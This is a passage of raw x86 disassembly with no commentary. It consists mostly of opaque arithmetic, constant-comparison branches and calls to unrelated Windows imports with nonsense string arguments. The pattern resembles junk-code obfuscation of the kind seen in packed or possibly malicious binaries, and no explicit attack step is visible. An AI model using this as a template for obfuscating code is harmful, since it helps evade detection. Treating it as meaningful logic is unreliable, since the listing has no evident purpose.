cmp dword [ebp - 0x26cc], 0xdde65261
je 0x4f3ba4
jmp 0x4f3c57
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x1fbc]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x20fc]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x874]
push eax
movzx ecx, word [ebp - 0x174]
push ecx
movzx edx, byte [ebp - 0x5f5]
push edx
movzx eax, byte [ebp - 0x5f5]
push eax
call fcn.00429f50
jmp 0x4f3c57
mov edx, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov dword [ebp - 0x2168], edx
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x14f4], eax
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp - 0x10d0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
movzx ecx, byte [ebp + 8]
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0xead], cl
movzx ecx, word [ebp - 0xa9c]
movzx edx, word [ebp - 0x10dc]
add ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ecx]
mov dword [ebp - 0x1f74], edx
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x964]
sub eax, 0x99
mov dword [ebp - 0x964], eax
movsx ecx, byte [ebp - 0x5f5]
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xab8]
mov byte [edx], cl
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
sub ecx, edx
mov eax, dword [ebp - 0xab8]
mov byte [eax], cl
movzx ecx, byte [ebp - 0xa49]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x680]
mov byte [edx], cl
movzx eax, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x18dc]
sub eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
mov eax, dword [ebp - 0x76c]
sub eax, dword [ebp - 0x22a0]
mov dword [ebp - 0x1fbc], eax
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0xc34]
mov dword [edx], ecx
mov eax, dword [ebp - 0x394]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x142c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x804]
add edx, dword [eax]
mov dword [ebp - 0x22a0], edx
mov ecx, dword [ebp - 0x394]
mov edx, dword [ecx]
add edx, dword [ebp - 0x208]
mov eax, dword [ebp - 0x394]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10dc]
movzx edx, word [ebp - 0x18dc]
xor ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp + 8], dl
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0xc34]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x804]
mov edx, dword [ecx]
or edx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x208]
and ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0xc34]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x2168]
add ecx, dword [eax]
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
movzx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x168]
mov byte [ecx], al
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa9c]
and eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
mov eax, dword [ebp - 0x2298]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
sub ecx, edx
mov eax, dword [ebp - 0xab8]
mov byte [eax], cl
cmp dword [ebp - 0x964], 0xd6e6
ja 0x4f3c7b
mov ecx, dword [ebp - 0x2298]
mov dl, byte [ecx]
mov byte [ebp - 0x3e9], dl
movsx eax, word [ebp - 0x174]
mov dword [ebp - 0x26d0], eax
cmp dword [ebp - 0x26d0], 0x297a
je 0x50d794
cmp dword [ebp - 0x26d0], 0x60f8
je 0x4f3e7d
jmp 0x50d7ac
mov ecx, dword [ebp - 0x8b8]
mov dl, byte [ecx]
mov byte [ebp - 0x26d4], dl
cmp byte [ebp - 0x26d4], 0
je 0x4f3f6a
cmp byte [ebp - 0x26d4], 0x91
je 0x4f3ea6
jmp 0x50d723
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x680]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx edx, byte [ebp - 0x18a1]
xor eax, edx
cmp ecx, eax
jg 0x4f3ee1
mov eax, dword [ebp - 0x114]
and eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
lea edx, [ebp - 0x2530]
push edx
lea eax, [ebp - 0x9f8]
push eax
push 0x9c
push 0xae
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x208]
add edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x7bd]
sub ecx, edx
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
call dword [sym.imp.ole32.dll_CoTestCancel]
mov dword [ebp - 0xc84], eax
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x1fbc]
mov eax, dword [ebp - 0x240c]
mov cx, word [eax]
call fcn.004721c0
jmp 0x50d723
mov ecx, dword [ebp - 0x394]
mov edx, dword [ebp - 0x114]
add edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x2168]
and edx, dword [ecx]
mov eax, dword [ebp - 0x142c]
mov ecx, dword [ebp - 0x10d0]
sub ecx, dword [eax]
cmp edx, ecx
jge 0x4f4030
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x114]
add eax, dword [edx]
mov dword [ebp - 0x2168], eax
lea ecx, [ebp - 0x1268]
push ecx
push str.peace_Rehashed_pedants
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0x15f4], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x874]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x10d0], ecx
movzx edx, byte [ebp + 8]
push edx
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x174]
push edx
movzx eax, byte [ebp - 0x5f5]
push eax
mov ecx, dword [ebp - 0x1bdc]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
jmp 0x4f4118
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18dc]
add ecx, edx
movzx eax, word [ebp - 0x10dc]
movzx edx, word [ebp - 0xa9c]
sub eax, edx
cmp ecx, eax
jle 0x4f4118
mov eax, dword [ebp - 0x20fc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x22a0]
shr edx, cl
mov eax, dword [ebp - 0x167c]
mov ecx, dword [ebp - 0x76c]
or ecx, dword [eax]
cmp edx, ecx
ja 0x4f4118
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x10dc]
and edx, eax
movzx ecx, word [ebp - 0x18dc]
mov eax, dword [ebp - 0x240c]
movzx eax, word [eax]
imul ecx, eax
cmp edx, ecx
jle 0x4f4118
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x1d24], ecx
lea edx, [ebp - 0x174]
mov dword [ebp - 0xf00], edx
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
add ecx, edx
mov eax, dword [ebp - 0x2298]
mov byte [eax], cl
mov cl, byte [ebp - 0x213a]
mov byte [ebp - 0x1ad], cl
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov word [ebp - 0x10dc], dx
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
add edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x680]
mov byte [ecx], al
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov word [ebp - 0xa9c], dx
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ebp - 0x76c]
and edx, dword [ecx]
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6cc]
add edx, dword [eax]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x10d0]
sub edx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x1fbc]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x680]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x18a1]
shl edx, cl
mov byte [ebp - 0x213a], dl
movzx eax, word [ebp - 0x10dc]
mov ecx, dword [ebp - 0x240c]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x18dc], ax
mov edx, dword [ebp - 0x2168]
xor edx, dword [ebp - 0x114]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
or eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xab8]
mov byte [eax], dl
movsx ecx, word [ebp - 0x174]
add ecx, 0x7aca
mov edx, dword [ebp - 0xf00]
mov word [edx], cx
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x8b8]
mov byte [edx], cl
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa9c]
sub ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x874]
sub edx, dword [ecx]
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x874]
mov edx, dword [ebp - 0x20fc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x142c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp - 0x10d0]
and edx, dword [ecx]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx]
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xead]
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0xf9c]
mov byte [edx], cl
mov eax, dword [ebp - 0x240c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x10dc]
shl edx, cl
mov word [ebp - 0x18dc], dx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0xa40]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d24]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x76c]
and eax, dword [ebp - 0x874]
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10dc]
add edx, eax
mov word [ebp - 0x18dc], dx
movzx ecx, byte [ebp - 0xead]
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
mov eax, dword [ebp - 0xad0]
add eax, 0xaa
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [ebp - 0x114]
mov dword [ebp + 0xc], ecx
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0x2298]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x3e9], dl
mov edx, dword [ebp - 0x1fbc]
add edx, dword [ebp - 0x1f74]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x1d24]
sub ecx, dword [eax]
mov dword [ebp - 0x208], ecx
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x10dc]
add edx, eax
mov word [ebp - 0x18dc], dx
movzx ecx, byte [ebp - 0xa49]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x680]
mov byte [edx], cl
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x1d24]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x1f74]
or edx, dword [ebp - 0x1fbc]
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x142c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x10d0]
shl edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10dc]
sub ecx, edx
mov word [ebp - 0x18dc], cx
movzx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], al
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x1f74]
and eax, dword [edx]
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ecx]
add edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x114]
add edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp + 0xc]
sub edx, dword [ecx]
mov dword [ebp - 0x1d24], edx
mov eax, dword [ebp - 0xf00]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x174]
sub ecx, edx
mov eax, dword [ebp - 0xf00]
mov word [eax], cx
movsx ecx, byte [ebp - 0x5f5]
movsx edx, byte [ebp - 0x3e9]
add ecx, edx
mov eax, dword [ebp - 0x1bdc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ebp - 0xa40]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x20fc]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x167c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x33c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp + 0xc], eax
cmp dword [ebp - 0xad0], 0x2c64
jb 0x4f4134
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
or edx, eax
movzx ecx, word [ebp - 0x18dc]
movzx eax, word [ebp - 0x10dc]
and ecx, eax
cmp edx, ecx
jle 0x4f45f8
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0x2168]
sub edx, dword [ecx]
mov dword [ebp - 0x1d24], edx
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x1620]
push ecx
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x102c], eax
jmp 0x50d709
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
mov dword [ebp - 0x26d8], eax
cmp dword [ebp - 0x26d8], 0
je 0x4f4625
cmp dword [ebp - 0x26d8], 0x1d90
je 0x4f46b3
jmp 0x4f478d
lea ecx, [ebp - 0x22a0]
mov dword [ebp - 0x1654], ecx
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x208]
sub eax, dword [edx]
mov dword [ebp - 0x10d0], eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x1c04], ecx
movzx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
add edx, eax
mov word [ebp - 0x10dc], dx
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ecx]
mov dword [ebp - 0x209c], edx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
lea eax, [ebp - 0x174]
mov dword [ebp - 0x2f0], eax
jmp 0x4f478d
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x5f5]
sar edx, cl
mov eax, dword [ebp - 0x1bdc]
mov byte [eax], dl
movsx ecx, word [ebp - 0x174]
mov dword [ebp - 0x26dc], ecx
cmp dword [ebp - 0x26dc], 0x560c
je 0x4f46eb
jmp 0x4f4774
mov edx, dword [ebp - 0x20fc]
mov eax, dword [ebp - 0x1f74]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x22a0]
cmp eax, edx
jae 0x4f473d
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x209c]
push edx
movzx eax, word [ebp - 0x174]
push eax
movzx ecx, byte [ebp - 0x5f5]
push ecx
mov edx, dword [ebp - 0x2298]
movzx eax, byte [edx]
push eax
call fcn.00429f50
jmp 0x4f4772
mov edx, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x10d0]
cmp edx, ecx
jl 0x4f4772
movzx edx, byte [ebp + 8]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xa49], dl
jmp 0x4f478d
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
sub edx, ecx
movsx eax, byte [ebp - 0x3e9]
mov ecx, dword [ebp - 0x2298]
movsx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
jl 0x50d6f6
mov edx, dword [ebp - 0x2298]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x3e9]
sub edx, ecx
cmp eax, edx
jge 0x4f48b4
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x1d24]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
mov dword [ebp - 0x26e0], eax
cmp dword [ebp - 0x26e0], 0xb60
je 0x4f4829
cmp dword [ebp - 0x26e0], 0xc8a
je 0x4f489a
jmp 0x4f48af
lea ecx, [ebp - 0x1bdc]
push ecx
lea edx, [ebp - 0x7d8]
push edx
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [ebp - 0x15f4], eax
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp + 0xc]
shl eax, cl
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
lea edx, [ebp - 0xea4]
push edx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x2168], eax
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0x18dc]
and eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
jmp 0x4f48af
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xa49]
sub ecx, edx
mov byte [ebp + 8], cl
jmp 0x50d6b5
lea eax, [ebp - 0x10d0]
mov dword [ebp - 0x176c], eax
movsx ecx, word [ebp - 0x174]
mov edx, dword [ebp - 0x2f0]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
cmp ecx, eax
jle 0x4f48fc
lea ecx, [ebp - 0x24c]
push ecx
push str.Tenuous_stashed_reappraising
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0x1368], eax
jmp 0x4f4aaa
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xa49]
sub eax, ecx
mov edx, dword [ebp - 0x8b8]
movzx ecx, byte [edx]
movzx edx, byte [ebp + 8]
add ecx, edx
cmp eax, ecx
jge 0x4f4aaa
mov eax, dword [ebp - 0x209c]
sub eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
movsx edx, word [ebp - 0x174]
mov eax, dword [ebp - 0x2f0]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xf00]
movsx ecx, word [eax]
cmp edx, ecx
jne 0x4f4a66
mov edx, dword [ebp - 0x2168]
mov dword [ebp - 0x26e4], edx
cmp dword [ebp - 0x26e4], 0x121a1ba
je 0x4f4a4c
cmp dword [ebp - 0x26e4], 0x2fbb968e
je 0x4f4989
jmp 0x4f4a64
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
push eax
call fcn.004ef7c0
add esp, 8
movsx ecx, word [ebp - 0x174]
mov dword [ebp - 0x26e8], ecx
cmp dword [ebp - 0x26e8], 0x208
je 0x4f49cc
jmp 0x4f4a37
mov edx, dword [ebp - 0x6cc]
mov eax, dword [edx]
xor eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x1c04]
mov dword [ecx], eax
movzx edx, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0xa9c]
shl edx, cl
mov word [ebp - 0x10dc], dx
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x1dfc]
push ecx
lea edx, [ebp - 0x680]
push edx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x209c], eax
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
jmp 0x4f4a4a
mov eax, dword [ebp - 0x394]
mov edx, dword [ebp - 0x114]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp + 0xc], edx
jmp 0x4f4a64
movsx eax, byte [ebp - 0x5f5]
movsx ecx, byte [ebp - 0x3e9]
and eax, ecx
mov edx, dword [ebp - 0xab8]
mov byte [edx], al
jmp 0x4f4aaa
lea eax, [ebp - 0x16d0]
push eax
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x25f8]
push edx
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0x1ec0]
push ecx
lea edx, [ebp - 0x1d18]
push edx
lea eax, [ebp - 0x1ec0]
push eax
lea ecx, [ebp - 0xa40]
push ecx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x14f4], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
sub eax, dword [ebp - 0x209c]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
cmp dword [ebp - 0x22dc], 0xa6cc
ja 0x4f4dc3
mov edx, dword [ebp - 0x176c]
mov eax, dword [ebp - 0x2168]
sub eax, dword [edx]
mov dword [ebp - 0x114], eax
movzx ecx, byte [ebp + 8]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0xa9c]
sub eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
mov eax, dword [ebp - 0x209c]
add eax, dword [ebp - 0x76c]
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0x176c]
mov edx, dword [ebp - 0x1d24]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
and edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x804]
add edx, dword [eax]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10dc]
xor eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
movzx eax, byte [ebp - 0xa49]
movzx ecx, byte [ebp - 0x7bd]
sar eax, cl
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], al
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x33c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x33c]
mov edx, dword [ebp + 0xc]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x22a0]
add eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp - 0x114]
and eax, dword [edx]
mov dword [ebp - 0x1d24], eax
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c04]
add edx, dword [eax]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], edx
mov edx, dword [ebp - 0x2f0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x174]
sub eax, ecx
mov edx, dword [ebp - 0xf00]
mov word [edx], ax
mov eax, dword [ebp - 0x1c04]
mov ecx, dword [ebp - 0x208]
add ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movzx edx, byte [ebp - 0x1ad]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x18a1], dl
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov word [ebp - 0x18dc], dx
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0xc34]
